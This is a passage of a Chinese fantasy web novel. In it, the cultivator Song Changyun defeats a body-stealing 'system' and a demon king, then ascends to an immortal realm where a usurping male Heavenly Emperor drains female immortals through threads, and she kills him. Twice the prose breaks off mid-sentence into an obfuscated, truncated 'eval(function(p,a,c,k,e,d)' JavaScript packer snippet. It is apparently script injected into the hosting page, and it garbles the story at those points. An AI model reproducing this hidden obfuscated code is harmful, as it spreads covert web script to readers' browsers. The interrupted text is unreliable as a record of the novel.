系统随着魔王回头的动作,看见了满身浴血的宋长云,随后狰狞地大笑起来。 宋长云啊宋长云,你怎么会以为魔物会与你们人修一样,胸膛里会装着一颗随时能丢了命的心脏。 它意识到刚刚那一击已经用尽了宋长云所有的灵力,将自己的力量彻底接入魔王, 它要亲手杀死宋长云,这个将它逼到如此境地的人吞噬殆尽—— 它兴奋至极,没有意识到有什么正穿过无数低阶魔直冲魔王而来。 一只箭矢飞来,它的速度丝毫未减,在它们始料未及之际插-入了魔王的眼睛。 魔王嘶吼一声,抬手去拔眼中的箭。 系统却难得凝重起来。 只是这样吗?这只毫无预兆飞来的箭,只是为了刺瞎魔王的眼睛? 魔王不死不灭,没了手可以再长,没了眼睛自然也可以。 它感到除了这只箭还有什么在朝着它们这边过来。系统直觉不对,试图操控魔王先去消灭宋长云。手掌甫一抬起,插在魔王眼中的箭矢忽然爆发开刺目的光,一股磅礴的力量从箭矢中迸发而出,与另外两股力量聚合,涌向宋长云的身体。 系统惊愕不已,它喃喃道:“怎么会……怎么可能。” 它掠夺许久不得的力量,她们就这么轻易交给了宋长云。 甚至其中许多人与宋长云都不相识。 甚至是人皇……被那群修士布下的阵法密不透风地死死护住,它从未有机会接近过的人皇也参与了进来。 “为什么?!” 它无法理解,魔王嘶吼着朝着宋长云攻去。 在一片白光中,魔王的左爪也被击了个粉碎。 它的右爪还未完全恢复。 越来越多的力量进入了宋长云体内,它们温暖而强大,将宋长云紧紧包裹。 强大的灵力引起的震动让魔窟隐隐有崩塌的迹象。 此时,魔窟外的众人几乎耗尽了自己所有的灵力,丹田枯竭,剩余的微薄力量根本不够填补魔窟。 天边,有越来越多的人赶来。 修仙界化神期及以上的人基本都在这里,新来的人们修为最高的不过元婴。 魔窟外有急性子的人已经开始朝她们喊道:“你们过来做什么?你们修为不高,莫要来添乱!” 她的本意不过是要她们速速离开避免受到波及,只是说出来的话不中听。 “那又怎样?”说话的人司命看着眼熟,细看之下才发现是那日在灵风镇,被那个由一群废物组成的小宗门拒之门外的二人的其中之一。 “一人的力量渺小,那千百个我们呢?” 她话音未落,身后众人已经结阵,无数道灵力聚在一起,竟真的将不断动摇的魔窟稳稳托住了。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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宋长云并不答它,单手翻转结印,将还未完全苏醒便被碎成数块的魔王重新封印了起来。 魔王遭受众创,其余低等魔也都沉寂下去。 魔窟内骤然安静了下来,宋长云终于有了时间去审问手里那团再也无处可逃的东西。 手中是尉迟燎前不久给她的法器,是尉迟燎的师尊曾经未完成的那件,她与师妹合力做完了师尊未完成的最后一步,交给了她。 第一次抓住它的时候,宋长云便想动用这件法器,也许是那时力量不够,无论如何都无法它驱动。 宋长云注视着这个将修仙界搅得一团乱的东西,问出了那个她百思不得其解的问题。 “为什么只夺舍女人。” 虽然修仙界男修数量比不上女修,可它却只死死咬着女人,除了最后走投无路试图放出魔王,它似乎舍不得伤害男人。 即便是容昭那种蠢货,也是到了最后一刻才终于被他放弃。 系统被禁锢得动弹不得,身上的禁锢有不断收紧的趋势,叫它几乎窒息。 宋长云听见它扭曲的咆哮:“凭什么!” 凭什么不管在哪个世界都是女人更适合修炼,凭什么明明他们已经夺走了她们那么多的气运和能量,他们明明已经那么努力,却依然无法彻底超越那群女人,无法将她们彻底碾压?! 它的能量在急速衰弱,光球的形态渐渐开始无法维持。 它的身形不断闪烁,最后变成了一个神色扭曲的男人。 23.第 23 章 宋长云再次睁开眼时,眼前是一片鸟语花香。 有年轻的女人看见宋长云,笑着朝她走来。女人身着繁复华美的衣裙,身材却瘦弱又矮小,宋长云微不可查地皱了下眉。 女人面色和善地招呼她:“下届新来的,模样这么俊,你叫什么名字?” 宋长云打量她的同时,女子同样也将宋长云看了一遍。她瞧着她又高又壮的身材,心中暗自惊讶。 宋长云做了个修仙界的见礼,回应道:“宋长云。” 女子笑了笑,没说什么,做了个“请”的手势:“长云仙子,请随我来。” 宋长云沉默着跟在她身后,仙气缭绕的天宫映在她的眼底。 此处是修士飞升后所到的仙界,这里的人才是凡人口中真正的仙人。 宋长云不知道自己为何会突然飞升,那日光球支撑不住变回一个男子的模样后,宋长云没从他口中问出多少有用的信息。那人身上似乎被下了什么禁制,让他开口不得。 为免夜长梦多,宋长云便将他杀了个彻底。 魔窟中的魔族被她重新封印,宋长云在封印的基础上给魔窟设下了一个绞杀类的禁制,从此之后不会再有东西能够进入,魔族亦出去不得。 宋长云的飞升毫无征兆。 将那为祸世间的东西杀死后,宋长云本想将自己这身汇聚而成的力量归还,包括人皇的天命紫气。可始料未及的天雷忽然落下,那些力量像是有了自己的思想,替她挡下了雷劫,宋长云就此飞升。 今日似乎有什么喜事,仙界一片欢声笑语。不少女仙端着装着东西的盘子来来往往,却不见一个男仙。 宋长云便向为自己领路的仙子询问。 “天帝天后在此设宴,各路仙家前来赴宴,很是热闹。”仙子说话的语气极为温和,“我先带你去认一认府邸,稍后你我二人一同来凑个热闹。” 宋长云点头,又问道:“仙子可知道如何回去凡界?” 仙子看向她,模样很是惊诧:“你想回去?” “是,想去探望一番友人。” 她飞升得突然,不知道司命她们怎么样了。 “这倒是难办。”仙子思索道,“通往下界的通道已经关闭许多年了,这些年也从未有人想过回去。” 宋长云愣了愣。 从前她听闻有得道飞升的前辈偶尔回修仙界探望亲友的,近几千年却再未有人听闻有仙人来过。原来是回去的通道被关了。 宋长云看了眼仙子,想问她通道为何会关闭,却见前方迎面走来一个男仙,手拿折扇闲散安逸,与忙碌的女仙们大相径庭。 宋长云皱了皱眉。 “这位仙子瞧着眼生。”那男仙上下打量了宋长云一番,开口道。 “见过这位仙子。”宋长云行的依旧是修仙界的见礼,双手抱拳,衬上她高壮的身材,气宇不凡间更显威风。 那男仙见她如此却怔愣了一瞬,随后面色古怪地看向宋长云身旁的那位女仙:“下届新来的?” “是,我正要领长云仙子去住处梳洗一番。” 男仙朝宋长云瞥去一眼,却在瞧见她比自己高出许多的个头时气焰莫名弱了几分,于是冷嗤一声朝着那位回话的女仙道:“好生教教她规矩。” 他这话着实冒犯,宋长云想也不想抬剑就将正欲离开的男仙拦下:“你要让她教我什么规矩?” 这仙界与她从前听闻的没有丝毫相同,处处充满着令她不适的气息。 男仙却答非所问:“你这剑倒是不错。” 仙子见状连忙向那位男仙致歉,而后安抚宋长云:“长云仙子切勿伤了和气,飞尘仙君说的是,你刚来,不懂这里的规矩。” “仙子是对我们女仙的称呼,男仙要称仙君。方才那番确实是你冒犯飞尘仙君在先。” 宋长云无法理解,为何只有男仙才能被称为“君”? 修仙界被那东西搅和了那么多年都没有这种情况,怎么到了仙界却有了这样奇怪的规矩。 宋长云定定看向面前的女仙,片晌才道:“他修为并不如你。” 不止如此,这位被称为飞尘仙君的男仙修为比不过宋长云一路来见到过的大部分女仙。 这些女仙需要端茶送菜,飞尘却不需要,甚至对她们颐指气使。 说来奇怪,宋长云刚刚飞升来到上界,她原本以为自己的修为合该是她们中最低的,结果跟着前面的女仙走了一路,见识了形形色色的仙人,却发现自己的修为远在她们之上。 这仙界比曾经被它搅得乱七八糟的修仙界还要怪异。 飞尘听见宋长云的话,面色一变,他恶狠狠地瞪了宋长云一眼,随即甩袖离去。 那女仙名唤元玉。飞尘走后,元玉叹了口气,面带忧色地继续给宋长云领路。 宋长云盯着她,问:“你为何怕他?” “你有所不知,飞尘仙君的父亲与咱们天帝最为器重的一位将军私交甚好,飞尘仙君平日里最记仇,你日后行事定要小心些才是。” 说话间,两人已经到了此行的目的地。 眼前是几间并排的屋子,元玉让她随便挑一间住:“这些都是暂时无主的房子,你看看喜欢哪间,哪间便是你的府邸了。” 宋长云扫视一圈眼前小得可怜的房子,不知道元玉怎么对着它们叫出“府邸”二字的。 她看向后方不远处,朝元玉问道:“后面那些府邸都有主人了吗?” 距离元玉带她来的地界不远的地方,伫立着一座座宅邸,那些宅邸比她面前的几间“府邸”大了许多倍,水果汁比人间最繁华的宅俯还要气派上几分。 元玉啊了一声,她看向宋长云,不知为何有些心虚起来:“那些是给男仙们分配的住处。” 她朝宋长云解释道:“男仙都身材都更高大些,自然要住宽敞些的地方。” 说着,她有些尴尬地仰头看了眼比自己高壮出许多的宋长云,小声道:“你倒是个例外。” 仙界已经有许久没有下界的女人飞升上来了,她年岁不大,是自小在仙界长大的天生仙,自然也没见过几千年前的女仙都是何模样。 “长云仙子,你便先随意挑选一间府邸将就一下,待宴席结束,我替你问问能不能给你换一下。”元玉如此宽慰宋长云。 宋长云却不应。她径自飞身到那片华丽的宅邸旁,挑了间最合心意的,在上面注入了自己的印记。 这便是宋长云的府邸了。 元玉阻拦不得,欲哭无泪。 这新来的仙子好生不讲理,这下要害她一同被斥责了。 但另一面,她的心底也产生了同样的疑问。 为何女仙不能住大府邸?真的只是因为男仙比她们高壮了些许吗? 那……那为何男仙总比女仙要高大强壮呢? 元玉被这个想法吓了一跳,不知道自己为什么会产生这种疑惑。 男仙比女仙更高更强壮,更容易修炼,修为更高,惯来都是这样的。 她安慰自己。 飞尘仙君不如她只是因为年纪比她小上些许,再过两年便会赶超她了。 元玉如是想。 她催促宋长云去换套体面些的衣裙。 宋长云低头看了看自己身上因为在魔窟打架又被雷劫劈了一番而显得有些脏乱的衣服,点点头,很快换了身干净清爽的衣服出来。 元玉看着她身上比男装还要简洁的衣裳,刚要出口劝上一劝,想到她刚刚根本不听自己的话直接换了府邸的事情,又闭了嘴。 宋长云随元玉来到宴席上,元玉拉着她在角落里落了座。宋长云朝着上首的天帝天后看去,而后顿住。 天帝是男子。 宋长云感到疑惑。 修仙界中关于仙界的记录,几乎都是在从前偶尔回凡探亲的仙者们口中得知,宋长云一直觉得那些记录都是真实的仙界。在她们口中,仙界的管理者是位威风凛凛的女仙,那时也并未有什么天帝天后的说法,宋长云初听元玉说起天帝时,以为只是个称呼,而天后则是从前那位仙君结的道侣,却不成想所谓的“天帝”换了位男子,尊卑之分更是比人间更加严重。 她耳力好,宋长云看着最前方一些不断阿谀奉承讨官话的人,这些人修为高低不一,大多数都是男仙。 她的面前只摆着些果子灵酒,与她隔了几桌的男仙面前却是珍馐佳酿。 宋长云再一次皱起眉。 这与她想象中的仙界完全不一样。 这里的并不是强者为尊,而是更崇尚“权”……和“男”。 仙界的运行模式竟然与最后在魔窟被她杀死那人的理念不谋而合。 宋长云在体内运行灵力感受了一下这里的灵气,竟发现这里的灵气浓度还不如修仙界。 宋长云对此感到诧异。 这里发生了什么?难道也有如修仙界一般,被那来自异世的东西搅浑了? 从前的仙君去了哪里? 天帝会是仙界的“容昭”吗? 有乐声想起,人群的哗然声顿时小了不少。她们的位置很靠后,基本都是女仙,宋长云目力不错,便看见中央的舞池中陆续来了些人献舞,她们腰肢纤细,在众人面前跳着柔软的舞蹈。 其中有几个面孔宋长云有些眼熟,是在路上看见过的来回忙碌的女仙。 宋长云心下不快,她们不仅要操持宴席,还要衣不蔽体地跳些毫无意义的舞来供人取乐。 那些男仙却什么都不用做,只需要在宴席中吃喝享乐。 她想起那凭一己之力影响整个修仙界、最后变成一个男人模样的东西。 他……是否与这怪异的上界有关? - 宴席未结束宋长云便与元玉告辞离开了。她不想继续待在那极其令人不适的场合。 她原本是要去拜见一番管理仙界的仙君,只是见到首座上的那位天帝之后,宋长云便失了这份心思。 总归她只是个刚飞升的小仙,除了给她领路的元玉无人会在意她的去向。 元玉给她留了一道传声咒,让宋长云有需要随时找她。 宋长云回自己府邸时,又碰上了那位飞尘“仙君”。他看着宋长云进入一个气派的宅邸,质问道:“你怎么能来这种地方?!” 宋长云看向她:“我为何来不得。” “这是男仙的住所,你个小小女仙来凑什么热闹?”飞尘说得理所当然,却不知下一刻,一柄长剑横在了他的脖子前。 锋利的剑刃再靠进一分,便能将他的喉管割开。 “你修为不如我,为何这里你住得,我却住不得?” 飞尘不敢乱动,他憋红了脸,才憋出一句:“这里住的都是男子,你一个姑娘家家的……” 他心中惊怒交加,托他父亲的面子,即便自己修为不高,可他惯来傲慢下面的人也无人敢置喙。 如今被一个刚刚飞升的下界小仙拿剑指着脖子,这对他来说是奇耻大辱。飞尘不敢在此刻出言惹怒宋长云,却在心里盘算着安全之后如何教训她。 “那便让所有女仙都来住。”宋长云说,“将你的府邸还给女仙。” “这是天帝定下的规矩,你这样做是藐视天帝,天帝会惩罚你的!” 他说完这话,宋长云忽然停了一下,她收起了破云剑,没再理会飞尘,径自进了自己的府邸关上了门。 飞尘便以为是她也惧怕天帝,他摸了摸自己脖子上的血痕,面色阴沉地找人去了。 宋长云将自己关在房间里运气吐纳。 她觉得这里的“气”很奇怪。 在这里运功不仅丝毫没有让她有所提升,反而觉得心中憋闷难受,像是被什么捂住了口鼻,难以呼吸。 宋长云想知道从前的仙君去哪了,为何仙界会变成如今这副模样,通往下界的通道是谁关闭的又为何要将它关闭,“他”身上的禁止是被谁种下的,那些不能说的言语中又藏着什么样的秘密。 宋长云有太多太多的疑问,包括她为何会突然飞升,她走后修仙界如何了,雷劫那样突然,魔窟会不会也受到波及而导致封印松动。 半晌,她睁开眼睛,出门,顺着元玉领着她走过的路往回走,走到了自己飞升上来时的位置。 这里并无什么特别,只是平平无奇的一块空地。宋长云蹲下身,将手放在地面上细细感受了一下。 许久,她起身,转身看向身后朝她而来的一行人。 打头的是一个宋长云没见过的男仙,身后跟着飞尘。飞尘看见宋长云,怒喊道:“就是她!哥,你得替我出口恶气!” 那人上下打量着宋长云,心里头升起一股怪异感。 怎会有女仙也生得这样高大,她还是女人吗? “你来替他寻仇?”宋长云问。 “飞尘是我兄弟,你欺负了他便是欺负我。”他说,在宋长云脸上扫了两眼,“看在你是个女仙又初来乍到的份上,跪下给飞尘道个歉,这事便算过去了。” 说话这人便是传闻中天帝最器重的那位将军的孩子。 他父亲威名在外,仙界中极少有人不给他面子,眼前的只是一个无权无势的凡人女仙,他觉得自己这个决定对宋长云来说,说得上是恩赐。 他正为自己的怜香惜玉而自鸣得意时,眼前忽然出现一柄剑,在他完全来不及反应的时候剑尖已经悬停在了他眼前。 只消分毫,便能刺破他的眼球。 宋长云面无表情。 飞尘叫来的靠山也不过如此,修为没比他高上多少,宋长云已经开始怀疑那个传闻中将军的实力了。 按照这里的规则来看,能得天帝器重的,大概率也是个男仙。 宋长云暂时不想将事情闹大让仙界人的注意力放在自己身上,等那人吓得已经开始腿软,宋长云收回了破云剑,瞥了一群人一眼,径直离开。 已经瘫软得要众人扶着才能勉强站稳的“大哥”心有余悸,这女人方才看过来的那一眼意思分明是若再有下次,就不只是吓唬他这么简单了。 虽然怕成这样,但他不信她真的敢伤她。他父亲可是仙界第一大将军,得罪了他,她别想在仙界好过。 身体终于听自己使唤能站住了,他冷哼一声,甩开身后众人,骂道:“一群废物。” 方才竟一个敢上前的都没有。 其余人受了他的脾气,只能苦笑。 不是他们不想帮忙,实在是刚刚那人身上散发出来的威压压得他们动弹不得。 飞尘悻悻跟在后面,想着刚刚那堪称恐怖的威压,心有余悸。 - 此刻,宋长云出现在了仙界极边缘的一个角落。 今日是天帝亲自设宴,仙界的人基本都去了宴席,各处都鲜少有人看守,正合适宋长云四处探寻。 这里处于仙界的边缘,却是灵气最浓郁的地方。宋长云心下疑惑,便走近了些。 “什么人?!” 随着这道声音一起出现的是几名身穿铠甲的天兵,他们手拿长枪对着宋长云,警惕地扫视她。 “在下宋长云,今日刚刚飞升来到仙界,心中好奇,便随意逛逛。”宋长云道,面上露出一副和善的模样,“今日天帝设宴,几位怎么没有同去吃酒?” 那些天兵却并不理会她,只是一味驱赶:“这里不是你能来的地方,速速离开!” 宋长云抬眼将几个天兵记住,最后看了眼将他们牢牢护在身后的那片天地,没有过多纠缠,依言离开。 逛了这一圈,宋长云已经差不多摸清了仙界的情况。 这里的等级制度与凡人官员差不多,却比人皇治下的更为迂腐严格。在这里,天帝是唯一正确的法则,与其说是天帝,不如说他将自己视为了仙界的“天道”。 天帝之下有实权的皆是男仙,女仙要么没有实权要么只是侍者,在仙界,男仙的修为普遍高于女仙。 ——可这不对。 在修仙界,所有人都知道女人天生比男人更适合修炼,历代飞升之人也大多是女修。 宋长云想起那日在魔窟,他临死前大吼的那一句“凭什么”,垂着眼,若有所思。 被天兵牢牢看守的地方没法宋长云找不到进去的入口,她离开后天兵也消失不见不知道去了哪里。她压下心中的种种思绪,先回了自己的府邸。 飞尘说她住进了只能男子住的地方会被天帝降下惩罚,她倒要看看那天帝要如何惩罚她。 宋长云摸着破云剑上的剑穗。 飞升仙界不过短短一日,却因着宴席的原因,宋长云已经见了不少人。包括方才那几个凶神恶煞的天兵在内,宋长云能确定,至少她目前见到那些人,修为全都远不如她。 她很想会会天帝。 想看看他究竟是个什么样的人,厉害到了什么程度,才能代替从前的仙君,将仙界变成了现在这副模样。 宋长云等了几日,直到宴席结束,都没见到飞尘口中的惩罚。 她日日在自己的府邸中修炼,已经摸索到了一点在此处修炼的关窍。 这里的修炼方式与修仙界的有所不同,灵力运转似乎是在逆向而行。这种方式似乎是在此处最合适的修炼方法,只是如果还是在正常的修仙界,这种方式的修炼速度远远比不上原本正常方式的速度。 这是已经被修仙界摒弃很多年的修炼方式。 宋长云决定再去被天兵看守的地方探探。 她施法隐去身形与气息,悄悄出了门。甫一出来就看见飞尘鬼鬼祟祟地扒在她门边,不知道想做些什么。 宋长云想了想,掐了个诀。 一个不至于让他有性命危险的小术法,只是会让他多吃点苦头。 她朝着远处飞去。 飞升之后她便不必借助御剑也能飞行,但宋长云还是习惯御剑。到了那处,原先几个守卫果然没有发现隐匿的宋长云,没有再次出现驱赶她。 此处没有门,天兵出现位置的后方是一面空气墙,从远处来看,除了灵气比别处更加浓郁些之外,好像没什么特别之处。 宋长云有种不好的预感。 这几日她向元玉打探过从前的仙君的去向,元玉却很茫然。 她并不知道仙君的存在,以为仙界从来只有天帝。 宋长云又去问过其她人,得到的答案要么是如元玉一样,要么就是想了许久才想起来仙界曾有那么一号人物,她们提起她时没有尊敬甚至没有情绪,像是想到了一个完全陌生的普通人,也并不在意她的去向。 仙界这样的地方,即便管理者更迭,也不可能将上一任的痕迹全部抹去。 这一切让宋长云感到熟悉。 如果天帝是仙界的“容昭”,那仙君是遭遇了不测,还是被他们设法囚禁了起来? 也许就在这堵空气墙之后。 宋长云现在没有把握破开这堵透明墙,更不确定自己的猜测究竟是不是真的。宋长云转身,朝着天帝的宫殿飞去。 用凡间的话来说,她要夜探皇宫。 - 天帝的宫殿非常大,比宋长云在仙界见过的所有府邸都更要大,并且周围布下了一圈结界。 宋长云想起了人皇宫殿外复杂的阵纹,那是应掌门她们刻下用来保护历代人皇的。 在魔窟时朝自己飞来的三道力量中有一道是属于人皇的天命紫气,宋长云无法想象曾经的前辈们布局到了何种地步,才能将毫无修为的人皇也算了进去。 她在宫殿外围探了一圈,寻到了结界一处薄弱的位置,悄悄地潜了进去。 宫殿里的侍者很多,人人都在忙碌。宋长云避开一个端着果盘的侍者,站在了一处宫殿前。 这个宫殿与其它宫殿样子差不多,却有些许不同。 上方没有牌匾额。 其它宫殿都有自己的匾额,上面写着那座宫殿的名字,唯独面前这个是例外,来往的侍者也甚少有靠进这里的。 这座宫殿被额外布下了层结界,宋长云无法直接穿墙过去。她记下了这里的位置,打算先去别处探查一番,看看别处能不能找到进去的办法。 她在路上听见了两个侍者说这几日天帝心情不好,经常在书房发脾气。宋长云一路摸索到书房外面,果然听见了里面有摔杯子的声音。 她在外面悄悄潜伏着。 “废物!都是废物!区区下界的几个女人都搞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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只要看好那些下界新来的。 不过也没关系,那些新来的,也都将会成为他的世界的养料。 他脸上没什么表情,就那么静静看着远处,有看不见的丝线从他身上蔓延开,布满了宫殿,不断向外延伸,罩住了整个仙界。 - 宋长云前脚刚到府邸,后脚门就被扣响。打开门,门前站着的,是一名女侍者,她朝宋长云福了福身,道:“长云仙子,天后娘娘邀您去她宫内吃茶,仙子可要先梳洗一番?” “不必,带路吧。” 女侍者看起来想要再与她说些什么,不知为何没有开口,领着宋长云朝着天后的宫殿飞去。 路上宋长云分神想着自己刚刚在天帝书房前听到的对话。 他们口中的那个被下界凡人杀死的“四号”,似乎就是死在魔窟里的那位。 四号是他的名字还是编号?如果是编号,那在他之前还有一号二号和三号,也就是说,在她们这个世界之前,已经有三个世界被他们掠夺成功了。 世间不止存在一片天地。 还有他们口中的“五号”。 那个没有匾额的宫殿里的东西,可能就是和这些相关的。 正想着,已经到了天后的宫殿。 天后的宫殿与天帝的不在一处,周围没有结界,也不如天帝的宫殿华丽。 侍者将宋长云领到后便退下了。 宋长云见了礼,抬头看向天后,随后顿住。 天后给她的感觉有些熟悉,却一时想不起来为何熟悉。 “过来,孩子。”天后的声音称得上是温和,宋长云不知她为何对自己如此亲近,却并不排斥,于是上前走了两步,来到她面前。 天后的动作有些迟钝,她抬头看向宋长云:“你终于来了。” 离得近了,宋长云仔细瞧着面前人的面容,忽然惊愕道:“师祖?” 面前人是应璃真的师尊,也是青云宗曾经的掌门。师祖几千年前就已经飞升,宋长云只看到过她的画像。 画像中的师祖意气风发英姿勃勃,与现在的“天后”判若两人。 “好孩子。”师祖抬手摸了摸宋长云的头,宋长云感到有什么东西进入了自己的体内,她还没来得及开口问些什么,就听见师祖极轻的声音。 “去吧。” 之后,宋长云便被送出了宫殿。 她惊疑不定地看着面前已经紧紧闭上的宫殿大门,被注入身体的东西让她感到熟悉。 力量。 可为什么?这里是仙界,明明有过那么多强大的仙人,为什么会变成现在这样? 背后操控这一切的,到底是个什么人? “你终于来了”,她们知道她会来,一直在等她吗? 为什么一定是她?为什么她们自己无法反抗?她现在该怎么做?她该去打破那堵空气墙吗?还是先去杀了天帝? 她们的阵法,在这里还有用吗? 宋长云难得茫然。 她忽然很想念司命,想念师妹,想念江师姑。她想有个人和她一起想办法。 宋长云闭了闭眼,深吸了一口气,强迫自己冷静下来。 修仙界那边还不知道情况如何,也许她们也在等着她回去, 她不能退缩。 宋长云转身离开了天后的宫殿。 她没有回自己的府邸,而是再一次潜入了天帝的宫殿。 这一次宋长云没有被结界拦在宫门外。 新的力量指引她顺利进入了那个没有匾额的宫殿。 她看见了密密麻麻网。 随后而来的,是一道凌厉的掌风。 宋长云抬手化解,转头就看见满脸阴沉的天帝。 “我就知道你会来这儿,你们这些女人,总是不肯安分。” 他冷眼看着宋长云:“在本君书房外偷听的那人也是你吧?能耐倒是不小,正好留下做我的养料了。” 他说着,便抬手朝着宋长云袭去。 宋长云接下了他的攻击,甚至没有拔剑。 天帝,很弱。 宋长云想。 男人,很弱。 天帝——或者说是李二,他的穿来之前的本名就是李二。李二没想到她能接下自己这一掌,惊怒之下另一只手聚力再一次朝宋长云拍来。 依旧被宋长云轻松化解。 在他皱眉质疑之时,宋长云终于出手。李二堪堪躲过,只是那一掌原本是攻想他的心脉,他偏了身体,那一掌落在了他的右肩。 剧痛袭来,李二惊惧不安地看着眼前人。 密密麻麻的网忽然动了起来,它们闪着寒光,朝着宋长云而来,想要把她牢牢裹紧网里,榨取她的力量,将她变成与仙界所有女仙一样的人。 大网在宋长云身后停下,饶是李二再怎么用力都无法靠进宋长云分毫。 宋长云也终于看清了那网的模样。 它们连接着面前这个男人。 无数丝线送李二身后伸出,连接着她身后的大网,连接着仙界的每一个女仙,它们不断吸收着女仙的力量,将那些力量源源不断输送给李二,再由李二赋予仙界的男人们。 丝线延伸向仙界的角落,顺着丝线的指引,宋长云终于看清了那堵透明墙的背后。 那里是许多个被丝线牢牢包裹住的人,像是一个个茧,茧中的人几乎被吸干了所有力量。 在李二眼里,宋长云原本该成为一个全新的茧。 一根线停在宋长云脑后,再也动弹不得。 宋长云终于明白了她们为什么无法自己反抗。 这些丝线插-入了她们的头颅,她们被监视,被控制,被当做养料供养着仙界的这群吸血鬼。 所以师祖才会看起来有些迟钝,才会只与她说了那么模棱两可的几句话就送她离开。 没了这丝线,她们可能会死。 宋长云抽出了破云剑。 她指向李二。 李二下意识想逃,即便躲不开也应该去挡,可他忽然无法动弹。 在这个刚飞升来仙界不过几天的女仙身上,他仿佛看见数千年前那个人的影子。 可怎么可能,她明明已经被他做成了茧,成为了他的世界的养料,所恢复的任何一丝力量都会被丝线抽干。 眼见着长剑就要劈下,李二慌忙大喊:“你不能杀我,不能杀我!杀了我,她们都会死的!” 然而宋长云丝毫没有犹豫。 破云剑砍断了李二的脖子,头颅掉在地上,咕噜噜地滚向了身后的大网,连带血肉都被大网吸食。 李二说得没错,他死了,这些网无人接管,插-入女仙头颅中的丝线断开,她们会死。 除非—— 宋长云将全身灵力汇聚在破云剑上,随后破云剑分化成无数柄,同时劈进了房间中每一张网的中心。 那时大网的阵眼。 随后网中的力量开始逆流,仙界的男仙们惊觉体内的力量开始流失,他们恐慌无比却无能为力。 同时女仙们却觉得头脑在某一刻瞬间变得清明。端茶送水的侍者忽然疑惑为什么自己要去伺候一个毫无作为的男仙,献舞的舞者也停下了舞步。 她们感到一股极为亲切的力量涌入了她们体内。 透明的墙壁开始碎裂,前面的守卫们一边忍受着逆流带来的撕心裂肺的痛意,一边看着自己守护的一切渐渐崩塌,无能为力。 原本在此处封存着的茧开始一个个破开,露出一个个人形。 若是有在仙界活了几千年的人在场,便能认出她们中许多都是从前仙界数一数二的佼佼者。 她们一个个睁开了眼。 力量耗尽再也支撑不住时,宋长云落入了一个温暖的怀抱。 她尽力看去,是画像上的师祖。 她轻轻拍了拍宋长云的头,轻声道:“睡吧,孩子,辛苦你了,你做得很好。” 醒来,一切都将恢复如初。 24.第 24 章 萧肃飞升时,是一个火热的夏季。 从踏入仙途那一日开始,萧肃便想见见仙界的凌霄仙君。或者说几乎所有修者都对凌霄仙君充满好奇。 传闻凌霄仙君是世间诞生的第一个真仙,掌管三界秩序,她悲悯而强大,亲自打开凡界飞升仙界的通道,将福泽降临人间。 萧肃活了几千年,见过许多飞升后返回凡界寻乐访友的仙人,在她们口中得知了不少凌霄仙君的事情,却没有人知道凌霄仙君到底活了多少岁。近些年世间安定,凌霄仙君也甚少在人前露面,可仙界没有人不知道她。 仙界可以说是由凌霄仙君一手建立,她打开仙凡两界的通道,制定下约束众仙的规则,无人知晓她的力量究竟有多强。 萧肃想要成仙,想要成为像凌霄仙君那样无比强大的人。 初入仙界的萧肃并没有如愿见到凌霄仙君。仙君避世多年,无人知道仙君归隐何处。萧肃并不气馁,她并不执着于见到仙君本人,凌霄只是想亲眼见见这位传说中的第一位真仙究竟有多强,好叫自己看看差距,督促自己不断向前。 仙界一片祥和,这里拥有比人间更加浓郁的灵气,在这一方天地的修炼速度不知是修仙界的多少倍。飞升后的萧肃依旧日日勤勉,除却偶尔下凡界去表面探望实则督促自家那天赋极佳的小徒儿,从无一日有所懈怠。 凌霄仙君始终没出现过。 后来有一日,萧肃见到了个与众不同的男仙。仙界中的男仙本就稀少,那男仙却修为颇高,萧肃对他有些欣赏,认为他与别的男仙不同。 她与那人有些交集,却并不深。萧肃一心修炼,对姻缘那档子事无甚兴趣,自然也不会将旁人与自己的交往往那方面考虑。 萧肃只盼着自己能成为世上最厉害的人,实在不行,便成为仙君之下最厉害的人。 她也确实极具天赋,飞升没多久,修为便已经超过了仙界许多人。 见到凌霄仙君是在一个极为平常的日子。 萧肃如往常一般修炼,几步之外不知何时出现了一个人,静静地看着她。萧肃大惊,以自己如今的修为,如何也不该毫无所觉地任由她人近身。 萧肃立刻便知道了来人的身份,凌霄仙君。 之前的惊骇早已被惊喜取代,萧肃朝仙君走去,行了一礼。 她有许多修炼上的问题想要向仙君请教。 仙君言语甚少,却会一一回应她的疑问。待问询结束,萧肃欢天喜地地想要回去琢磨消化这些心得时,凌霄仙君垂眸看着萧肃,面上无悲无喜,将掌管仙界的金印交给了她。 她是世间孕育诞生的守护神,世间安定、不需要她时,她的力量便会有所衰弱,渐渐陷入沉睡,直到动乱再次出现。 在此期间,她需要挑选一位值得信任的代行者,在她沉睡期间继续维护仙界秩序。 萧肃便是她选中的代行者。 如今世间一切安稳,即便是代行者也并无太多琐事需要处理。直到出现动乱之前,仙界众人甚至不会知道仙君已经陷入沉睡,更不会知道掌管仙界的金印现被仙君交到了旁人手里。 萧肃也是如此想。金印并无实体,而是融在了她的身体之中。在安和的仙界中她没什么机会使用这道金印,只得将它时时刻刻压制藏于体内。 金印是凌霄仙君所创之物,又是掌管仙界秩序的重要信物。自从接下金印之后萧肃便觉得自己的修行速度比之前又变快了许多,她总觉得这都是因为金印,这样修炼下去会将自己的原本的习惯替换掉,等仙君苏醒金印被收回,她便适应不 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从此之后仙界再无萧肃,再无凌霄仙君。萧肃的思维陷入混沌,只知道自己是新仙界的天后。 李二得到了金印,他重新制定了仙界的规则,尊自己为天帝,将仙界变成了他的新乐园。 他想要将仙界与人间的通道关闭,尝试许久却始终无法撼动飞升通道分毫,最后无奈只能先将仙界通往人间的通道关闭。 萧肃眼睁睁看着,刺入她眉心的丝线日日侵蚀着她,到最后,她只能凭借最后一丝力气,在仙界去往人间的通道彻底关闭前,递出了一抹极其微弱的神识。 那抹神识跨越千里,颤颤巍巍地来到人间,寻到了萧肃在人间唯一的徒儿。 25.第 25 章 